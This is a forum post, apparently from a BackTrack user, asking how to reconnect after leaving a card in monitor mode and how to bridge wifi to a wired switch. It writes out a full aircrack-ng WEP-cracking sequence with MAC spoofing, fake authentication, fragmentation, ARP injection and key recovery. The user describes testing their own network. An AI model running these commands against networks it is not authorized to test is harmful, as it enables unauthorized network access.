I have 2 questions. Thanks for your help. Hardware = VIA EPIA 5000 motherboard (via.com.tw/en/products/mainboards/motherboards.jsp?motherboard_id=21) + Netgear WPN311 (hxxp://backtrack.offensive-security.com/index.php/HCL:Wireless#Netgear_WPN311).

1.) After doing the following common WEP attack on my network,Wireless Assistant no longer shows any networks. To connect I would rather use a command like "iwconfig ath0 essid (essid) key (passphrase)" to connect however this doesn't work after the WEP attack listed below. I think it's because ath0 is left in monitor mode?

Code:
airmon-ng stop ath0
ifconfig wifi0 down
macchanger -m 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
airodump-ng ath0
airodump-ng -c (channel) -w (file) --bssid (bssid) ath0
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) ath0
aireplay-ng -5 -b (bssid) -h 00:11:22:33:44:55 ath0
packetforge-ng -0 -a (bssid) -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y (fragment.xor) -w ARP
aireplay-ng -2 -r ARP ath0
aircrack-ng (file-01.cap)
2.) I would like to connect to my network through wifi and share the internet (bridge) through the motherboards nic to a switch. The WAP is in the basement and I have three wired computers on the 2nd story. How would I do this? Wireless Lan Manager sees eth0 so I assume BT3 has drivers for the motherboard's nic.